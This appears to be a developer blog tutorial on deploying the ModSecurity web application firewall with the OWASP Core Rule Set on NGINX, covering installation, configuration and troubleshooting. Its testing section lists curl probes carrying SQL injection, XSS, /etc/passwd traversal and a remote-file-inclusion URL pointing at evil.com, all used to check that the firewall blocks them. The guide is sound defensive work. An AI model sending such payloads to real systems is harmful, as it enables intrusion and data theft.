Skip to content

Secure Your web Application with OWASP Core Rule Set: A Developer’s Guide

Introduction

Web applications power modern businesses — but this convenience also opens the door to cyber threats - from SQL injection to cross-site scripting (XSS), the threats are numerous and evolving.

While many developers & organizations rely on DNS providers for basic security measures, these often fall short of providing the comprehensive protection needed to safeguard web applications. Free or even mid-tier DNS plans typically offer only basic protections, leaving critical vulnerabilities exposed.

This is where ModSecurity and the OWASP Core Rule Set (CRS) come into play, offering a robust, standards-based solution for web application security.

In this article, we'll explore:

  • What a Web Application Firewall (WAF) is and its role in web security
  • What ModSecurity is and why it's essential for web application security
  • What the OWASP Core Rule Set (CRS) is and how it enhances ModSecurity
  • How to implement ModSecurity with CRS in a self-hosted environment
  • Nginx configuration for ModSecurity and CRS
  • How to monitor and adopt ModSecurity and CRS for your web applications

What is a Web Application Firewall (WAF)?

A Web Application Firewall (WAF) is a security solution designed to protect web applications by filtering and monitoring HTTP traffic between a web application and the Internet. Unlike traditional firewalls that focus on network-level threats, WAFs operate at the application layer, providing a more granular level of security.

What is ModSecurity?

ModSecurity is an open-source Web Application Firewall (WAF) engine that works as a module for popular web servers like Apache, NGINX, and IIS. It provides real-time monitoring, logging, and access control.

ModSecurity acts as a shield between your web application and potential threats, analyzing incoming requests and responses to identify and block malicious activity. It can detect a wide range of attacks, including SQL injection, cross-site scripting (XSS), and remote file inclusion, among others.

What is the OWASP Core Rule Set (CRS)?

OWASP Core Rule Set (CRS) is a set of generic attack detection rules for ModSecurity. It protects against:

  • SQL Injection
  • Cross-site Scripting (XSS)
  • Local File Inclusion (LFI)
  • Remote File Inclusion (RFI)
  • HTTP protocol violations
  • Bad bots and DoS attempts
  • And many other common web application vulnerabilities

What are ModSecurity connectors?

NGINX doesn’t know how to "talk" to libmodsecurity unless you load the dynamic connector module ( ngx_http_modsecurity_module.so) into it. ModSecurity connectors are modules that allow ModSecurity to work with different web servers.

For example, the ModSecurity NGINX connector enables ModSecurity to function as a WAF for NGINX servers. These connectors are essential for integrating ModSecurity into your web server environment, allowing it to analyze and filter HTTP traffic effectively.

The Gap with DNS Providers

While many DNS providers offer basic security features like DDoS protection and rate limiting, they often lack the comprehensive, content-aware protection that ModSecurity and CRS provide.

Many DNS-level firewalls (e.g., Cloudflare Free, Namecheap, GoDaddy DNS Firewall) do not provide full WAF functionality. Most of them:

  • Focus on network-level threats rather than application-layer vulnerabilities
  • Only provide shallow protection (e.g., basic bot filtering or IP reputation)
  • are limited to basic rules that may not cover all attack vectors
  • Do not include OWASP CRS
  • Do not inspect HTTP request bodies or headers in detail
  • are not customizable to the specific needs of your application

Why Use ModSecurity with OWASP CRS?

Using ModSecurity with the OWASP CRS provides a multi-layered security approach that is both proactive and reactive.

  • Proactive: It blocks known attack patterns before they reach your application.
  • Reactive: It logs and alerts you about suspicious activity, allowing you to take action.
  • Standards-Based: Being open-source and community-driven, both ModSecurity and CRS are continuously updated to address new vulnerabilities.
  • Cost-Effective: Unlike many commercial WAF solutions, ModSecurity and CRS are free to use, making them accessible for small businesses and individual developers.
  • Customizable: You can tailor the rules to fit your specific application needs, allowing for a more focused security posture.
  • Community Support: Being widely used, there’s a large community and extensive documentation available for troubleshooting and best practices.
  • Integration: It can be easily integrated with existing web servers like Apache and NGINX, making it a versatile choice for developers.
  • Ease of Use: With a straightforward installation process and extensive documentation, getting started with ModSecurity and CRS is relatively easy, even for those new to web security.

Implementation Steps

In this section, we’ll walk through the steps to implement ModSecurity with the OWASP CRS in a self-hosted environment.

This guide uses a self-hosted NGINX server as an example. The steps are similar for Apache and IIS, but the configuration files and commands will differ slightly.

Quick summary of the steps:

  1. Install ModSecurity
  2. Install ModSecurity nginx connectors
  3. Download and Install OWASP CRS
  4. Configure ModSecurity and CRS
  5. Test the Configuration

Note

This guide installs ModSecurity and OWASP CRS and configures NGINX to use them explicitly. If you are prefer to use a pre-configured NGINX server with ModSecurity and CRS, you can use the Nginx ModSecurity Docker image.

Step 1: Install ModSecurity

To get started, you need to install ModSecurity on your web server. The installation process may vary depending on your operating system.

You can install ModSecurity using the package manager:

sudo apt-get update
sudo apt-get install libmodsecurity3

If you run into issues during installation, you can also compile ModSecurity from source. You can follow the OWASP Modsecurity:official documentation.

Note

ModSecurity version 3.x is recommended for new installations, as it includes significant improvements over version 2.x, including better performance and more features.

Step 2: Install ModSecurity NGINX Connectors

To enable ModSecurity to work with NGINX, you need to install the ModSecurity NGINX connector.

Here’s how to do it using the package manager on a Debian-based system:

sudo apt-get update
sudo apt-get install libnginx-mod-http-modsecurity

If you are having problems with the package manager or the package manager does not have the latest version, compile from source.

# Clone connector
git clone https://github.com/SpiderLabs/ModSecurity-nginx.git
cd ModSecurity-nginx

# Get your NGINX source version (e.g., nginx -v)
NGINX_VERSION=$(nginx -v 2>&1 | grep -o '[0-9.]*')

# Download matching nginx source (if needed)
wget http://nginx.org/download/nginx-$NGINX_VERSION.tar.gz
tar -xvzf nginx-$NGINX_VERSION.tar.gz
cd nginx-$NGINX_VERSION

# Build dynamic module
sudo apt install build-essential libpcre3 libpcre3-dev zlib1g-dev libssl-dev
./configure --with-compat --add-dynamic-module=../ModSecurity-nginx
make modules

# Copy the built module to your nginx modules path
sudo cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules/

Note

For the latest installation instructions, refer to the ModSecurity NGINX connector.

Step 3: Download and Install OWASP CRS

You can download the OWASP CRS from its GitHub repository.

cd /etc/nginx
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf

Step 4: Configure ModSecurity and CRS

Now that you have installed ModSecurity and the OWASP CRS, you need to configure them.

ModSecurity Configuration

You can download the default ModSecurity configuration file from the ModSecurity GitHub repository.

sudo mkdir -p /etc/nginx/modsec
cd /etc/nginx/modsec

sudo curl -O https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended
sudo mv modsecurity.conf-recommended modsecurity.conf

Then, update the modsecurity.conf file to enable ModSecurity:

sudo nano /etc/nginx/modsec/modsecurity.conf

# Change the following line to "On"
SecRuleEngine On

# Set the default action to block
SecDefaultAction "phase:1,log,auditlog,deny,status:403"

# Set the audit log file
SecAuditLog /var/log/nginx/modsec_audit.log

# Set the error log file
SecErrorLog /var/log/nginx/modsec_error.log

Note

You can also enable additional features like request body inspection, IP reputation, and more by modifying the modsecurity.conf file. 

  # Do not block requests, just log them
  SecRuleEngine DetectionOnly
  # Enable request body inspection
  SecRequestBodyAccess On
  # Disable response body access to improve performance
  SecResponseBodyAccess Off

Tip

You can set SecRuleEngine DetectionOnly to enable ModSecurity in detection mode. This is useful for testing your rules without blocking requests. In this mode, ModSecurity will log suspicious requests but not block them. But not recommended for production unless you're tuning rules.

CRS Configuration

Next, you need to configure the OWASP CRS. You can also use the default configuration file provided with the OWASP CRS.

You may need to adapt the CRS configuration to suit your application’s requirements.

Create a new configuration file for CRS /etc/nginx/modsec/custom-rules.conf or you can also edit the existing crs-setup.conf file:

sudo vi /etc/nginx/modsec/custom-rules.conf

# Change paranoia level based on your application criticality, default is 1
SecAction \
    "id:900000,\
    phase:1,\
    pass,\
    t:none,\
    nolog,\
    tag:'OWASP_CRS',\
    ver:'OWASP_CRS/4.17.0-dev',\
    setvar:tx.blocking_paranoia_level=2"

# Set the allowed HTTP methods
SecAction \
    "id:900200,\
    phase:1,\
    pass,\
    t:none,\
    nolog,\
    tag:'OWASP_CRS',\
    ver:'OWASP_CRS/4.17.0-dev',\
    setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"

Tip

You change paranoia level based on your application criticality. The paranoia level determines how strict the rules are. A higher paranoia level means more rules are applied, which can lead to more false positives but also better security. The default paranoia level is 1, but you can set it to 2 or 3 for more strictness.

NGINX Configuration

Finally, you need to configure NGINX to use ModSecurity and the OWASP CRS.

Consolidate all the configurations in a single file, for example, /etc/nginx/modsec/main.conf.

sudo vi /etc/nginx/modsec/main.conf

# Load base ModSecurity config
Include /etc/nginx/modsec/modsecurity.conf

# Load OWASP CRS setup and rules
Include /etc/nginx/modsec/custom-rules.conf
Include /etc/nginx/coreruleset/crs-setup.conf
Include /etc/nginx/coreruleset/rules/*.conf

Warning

Make sure to include the /etc/nginx/modsec/custom-rules.conf before the CRS rules, as it may contain custom rules that you want to apply before the CRS rules.

Make sure to include the ModSecurity connector module in your NGINX conf which we built earlier.

# /etc/nginx/nginx.conf

# Load NGINX modules
include /etc/nginx/modules-enabled/*.conf;

# or Load ModSecurity module directly
load_module modules/ngx_http_modsecurity_module.so;

Finally, you need to enable ModSecurity in your NGINX server block.

server {
    ...
    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsec/main.conf;
    ...
}

Note

If you are having subdomains or multiple server blocks, you can include the ModSecurity configuration in each server block or use a global configuration file.

Step 5: Test the Configuration

After configuring ModSecurity and the OWASP CRS, it’s essential to test your setup to ensure everything is working as expected.

You can use the nginx -t command to test your NGINX configuration:

sudo nginx -t

If the test is successful, you can reload NGINX to apply the changes:

sudo systemctl restart nginx

If you encounter any errors, check the NGINX error log and the ModSecurity audit log for more information.

To test complete WAF functionality, you can run curl commands against your web application to simulate various attacks.

You can use the following curl commands to test for common vulnerabilities:

# Check ModSecurity audit log
sudo tail -f /var/log/modsec_audit.log

# Test SQL Injection
curl -i -X GET "https://yourdomain.com/index.html?id=1' OR '1'='1"
# Test Cross-Site Scripting (XSS)
curl -i -X GET "https://yourdomain.com/index.html?search=<script>alert('XSS')</script>"
# Test Local File Inclusion (LFI)
curl -i -X GET "https://yourdomain.com/index.html?page=../../etc/passwd"
# Test Remote File Inclusion (RFI)
curl -i -X GET "https://yourdomain.com/index.html?page=http://evil.com/malicious_script"

If ModSecurity and the OWASP CRS are configured correctly, these requests should be blocked, and you should see HTTP 403 Forbidden responses.

Troubleshooting

If you encounter any following mentioned issues during the installation or configuration process, here are some common solutions:

Error: Failed to locate unicode.mapping file

Root Cause: This error indicates that NGINX cannot find the unicode.mapping file, which is required for ModSecurity to function correctly.

Solution: You can download the unicode.mapping file from the ModSecurity GitHub repository and place it in the /etc/nginx/modsec/ directory:

sudo curl -o /etc/nginx/modsec/unicode.mapping https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/unicode.mapping

Then, ensure that the SecUnicodeMapFile directive in your ModSecurity configuration file points to the correct path:

# /etc/nginx/modsec/modsecurity.conf
SecUnicodeMapFile /etc/nginx/modsec/unicode.mapping utf-8
module "ngx_http_modsecurity_module" is already loaded in /etc/nginx/nginx.conf

Root Cause: This error indicates that the ModSecurity module is already loaded in your NGINX configuration.

Solution: Check your /etc/nginx/nginx.conf file and remove any duplicate load_module directives for the ModSecurity module.

ModSecurity is not blocking requests as expected

Root Cause: This could be due to several reasons, such as the SecRuleEngine directive being set to DetectionOnly, or the ModSecurity rules not being loaded correctly. Solution: Ensure that the SecRuleEngine directive is set to On in your ModSecurity configuration file (modsecurity.conf). Also, check that the ModSecurity rules are being loaded correctly by verifying the paths in your configuration files.

ModSecurity audit log is not being generated

Root Cause: This could be due to the SecAuditLog directive not being set correctly or the NGINX user not having write permissions to the log file. Solution: - Ensure that the SecAuditLog directive in your ModSecurity configuration file points to a valid log file path - Ensure that the NGINX user has write permissions to that file - Ensure that SecAuditEngine RelevantOnly or On is set in your modsecurity.conf file to enable audit logging.

ModSecurity rules are not being applied

Root Cause: This could be due to the rules not being included in the ModSecurity configuration file or the paths to the rules being incorrect. Solution: Ensure that the OWASP CRS rules are included in your ModSecurity configuration file (main.conf) and that the paths to the rules are correct. You can verify this by checking the Include directives in your configuration file.

ModSecurity is blocking legitimate requests

Root Cause: This could be due to overly strict rules in the OWASP CRS or custom rules that are too aggressive. Solution: Review the ModSecurity audit log to identify which rules are being triggered. You can then adjust the rules or create exceptions for legitimate requests as needed in /etc/nginx/modsec/custom-rules.conf.

Conclusion

Relying solely on DNS-level WAF solutions provides only limited protection and leaves critical vulnerabilities exposed. For comprehensive web application security, implementing ModSecurity with the OWASP Core Rule Set (CRS) offers robust, customizable, and transparent defense against a wide range of threats.

With ModSecurity and OWASP CRS, you gain:

  • Full control over your WAF behavior
  • Strong defense against OWASP Top 10 threats
  • Cost-effective and customizable solution
  • Transparent logging and audit trail

Don’t wait for a breach — fortify your web apps today.

References

Did this post help you? Share on: X (Twitter) Facebook LinkedIn reddit WhatsApp Hacker News